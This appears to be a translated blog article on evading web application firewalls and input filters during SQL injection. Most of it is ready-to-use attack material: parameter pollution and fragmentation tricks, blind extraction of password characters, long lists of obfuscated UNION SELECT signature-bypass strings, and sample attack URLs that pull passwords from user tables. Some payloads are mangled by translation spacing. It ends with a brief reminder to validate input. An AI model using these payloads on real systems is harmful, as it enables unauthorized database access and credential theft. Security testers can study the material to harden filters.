Methods for circumventing web application security tools when using SQL injection

When developing modern web applications, you must use protective equipment. Nevertheless, it is worth understanding how they work, to apply them effectively and to realize that they are not a panacea for hacker attacks. The article will discuss ways to bypass the filtering and protection of web applications during the operation of sql injections.

Before proceeding with the consideration of circumvention options, let us define what protection means today, both native and "built-in".

Protection

From native means it is possible to select various validators or converters of incoming data. They can be both self-written and use programming language functions. For example, the following functions are common in php environments:

• mysql_escape_string - escapes a string for use in mysql_query;
• addslashes - escapes special characters in the string;
• htmlspecialchars - converts special characters into HTML entities;
• mysql_real_escape_string - escapes special characters in unescaped_string;
• intval is a type conversion function.

Most of these functions are designed to transform "dangerous" characters, based on the context of use. The most effective protection from the above is Intval.

Two ways can be distinguished in the "built-in" protection tools - web application protection by means of a web application (framework), or protection using third-party tools, for example, in the form of a web application firewall. The first example is the use of HTMLPurifier: this library clears html code from all malicious, non-valid, forbidden (by your configuration) parts of the code, including some attributes.

Protective bypass

To bypass security tools, you need to know a few things - what a web application consists of, what and how it is protected, as well as a deep knowledge of the platform and the logic of the web application.

From the simplest examples: the functionality of modern sites contains quite a few forms that allow the user to upload arbitrary files to the server. These can be images, documents, pdf files, etc. Web developers often use the concept of a “blacklist” that directly prohibits the download of potentially dangerous file types: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi. fpl .jsp .htm .html .wml. Using the blacklist will not protect the site owner from the potential risks of circumventing filtering. For example, in the new version of PHP 7, a new .php7 extension has been added, which will allow to bypass filtering. Not all developers know about this and have managed to add it to the blacklist. Also in the above listing of extensions is missing .pht.

Logically, knowing how protection is built (by examining the code, if available, or the filtering logic), you can try to bypass it. This can be either a blacklist or filtering dangerous structures using regular expressions, data transformation or normalization.

The following techniques are used to bypass:

Zerobyte injection : use% 00 before malicious payload. Protection tools can ignore all characters after zero-termination, but at the same time send the entire request to the web server.

Mixed content: when using case-sensitive regular expressions, you can bypass defenses using mixed content: for example, we convert

<script> 

at

 <sCrIPt> 

Inline comments: use a comment in an attack request. For example,

 / *! SELECT * / 

can be skipped with a defensive feature, but processed in the target web application.

Fragmented requests (chunked): the use of coded HTTP requests to separate malicious payloads into several HTTP requests.

Buffer overflow: if we can form a request that will cause a buffer overflow of the protective mechanism, we can bypass the protective measures (both in the case of successful exploitation of the protection vulnerability itself, and without operation in the event of an application crash).

HTTP Parameter Pollution : HTTP request parameters are pairs consisting of a key and a value separated by the = symbol. The first request can be processed with a protective tool, but the second one will be executed on the side of the web application. & ,; etc.

URL encoding (hex) : use hexadecimal representation of characters, such as% 27 quotes. This in itself may not be sufficient for many modern means of protection, but can be used in combination with other circumvention methods. There may be other conversion functions, such as the reverse function:

 reverse('>tpircs/<)niamod.tnemucod(trela>tpircs<') 

Separation of keywords : here you can use the features of the protection for the introduction of payload - add special characters, etc. as a separator, they are cut out with protective agents and at the output we get a processed but whole payload:

 SEL <ECT 

will be processed and an angle bracket will be cut out of it, we will get the output

 SELECT 

Duplication of keywords : this method is similar to the previous one - we add a stop word to the query in order to trick the protection mechanism:

 SELECTSELECT 

will be processed and the first SELECT will be cut out of it, we will get the output

 SELECT 

Reset session cookies : in order to avoid filtering out frequent non-legitimate requests, you must reset the session for each request.

IP reputation : as in the previous example, with frequent requests from the same IP - all the others from this address can be blocked. Using multiple addresses to attack can help circumvent this limitation.

Header injection : sometimes you can make it clear to the application that the request came from a trusted network. In the absence of due checks, you can substitute a trusted address, for example, 127.0.0.1 in the following fields:

 X-forwarded-for X-remote-IP X-originating-IP x-remote-addr 

Popular sql injection protection bypass methods

There are two types of injections - in string or numeric parameter:

String

 Example: SELECT * from table where example = 'Example' 

Numerical

 Example: SELECT * from table where id = 123 

Injections are divided into several types, depending on the DBMS or injection conditions, and bypass methods of protection depend on it.

The most common misconception is filtering a single quote: i.e. if the quotes in the request are not present, then the injection (separation of the request) is impossible. Therefore, we will not separate the request, we will combine it with the help of the UNION operator, and for convenience we will also take a non-existent ID:

 example.site/index.php?id=-1 UNION SELECT password FROM users 

Bypass normalization:

  /? Id = 1 + union + select + 1,2,3 / * 

such a request will be blocked, so we will form an obfuscated request:

  /?id=1/*union*/union/*select*/select+1,2,3/* 

which after normalization with protective agents:

 ?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/* 

"assemble" into the required payload:

  /? Id = 1 + union + select + 1,2,3 / * 

Similar query example:

  /?id=1+un/**/ion+sel/**/ect+1,2,3-- 

will also "assemble" into the required payload:

  /? Id = 1 + union + select + 1,2,3 / * 

You can use request splitting (HTTP Parameter Pollution):
vulnerable code:

 SQL=" select key from table where id= "+Request.QueryString("id") 

we split the query:

  /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users 

converted to:

  id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users 

You can also use request fragmentation (HTTP Parameter Fragmentation):
vulnerable code:

  Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']); Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']); 

we fragmented:

  /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- 

we receive request:

  select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users-- 

We use logical operators:

  /?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

Instead of the equal sign, you can use the negation and inequality signs (! =, <>, <,>).

 and 1 or 1 and 1=1 and 2<3 and 'a'='a' and 'a'<>'b' and char(32)=' ' and 3<=2 and 5<=>4 and 5<=>5 and 5 is null or 5 is not null 

Naturally, it is possible to combine various methods to achieve a workaround result. An example of different requests for one value:

 select user from mysql.user where user = 'user' OR mid(password,1,1)='*' select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42 select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1 select user from mysql.user where user = 'user' OR position(0x2a in password)=1 select user from mysql.user where user = 'user' OR locate(0x2a,password)=1 

Such attacks can successfully pass under the following conditions:

• Vulnerabilities in query normalization functions.
• Use of HPP and HPF technologies.
• Bypass filtering rules (signatures).
• Vulnerabilities of application logic (and / or).

Signature Bypass Examples

 /*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ concat(0x223e,@@version) concat(0x273e27,version(),0x3c212d2d) concat(0x223e3c62723e,version(),0x3c696d67207372633d22) concat(0x223e,@@version,0x3c696d67207372633d22) concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e) concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22) concat('',@@version,'') /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+ 

Examples of url-encoded during union select queries

  %55nion(%53elect) union%20distinct%20select union%20%64istinctRO%57%20select union%2053elect %23?%0auion%20?%23?%0aselect %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect %55nion %53eLEct u%6eion se%6cect unio%6e %73elect unio%6e%20%64istinc%74%20%73elect uni%6fn distinct%52OW s%65lect %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7 

Examples of mixed query content

 unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))) /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037) 

 union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)? 

Signature replacement examples

 http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3-- http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3-- 

Buffer overflow

  http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(   1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…. 

HEX / url encoding

 http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…. 

Cleaning up "weird" characters or functions

  http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4… 

Conclusion

Adhere to the rule: all input is evil until proven otherwise.
Carefully check incoming data.
Carefully check incoming data.
Carefully check incoming data.
Use comprehensive tools to protect web applications from hacker attacks.

In the next article I will talk about how to bypass the protective means of web applications in the operation of xss-vectors.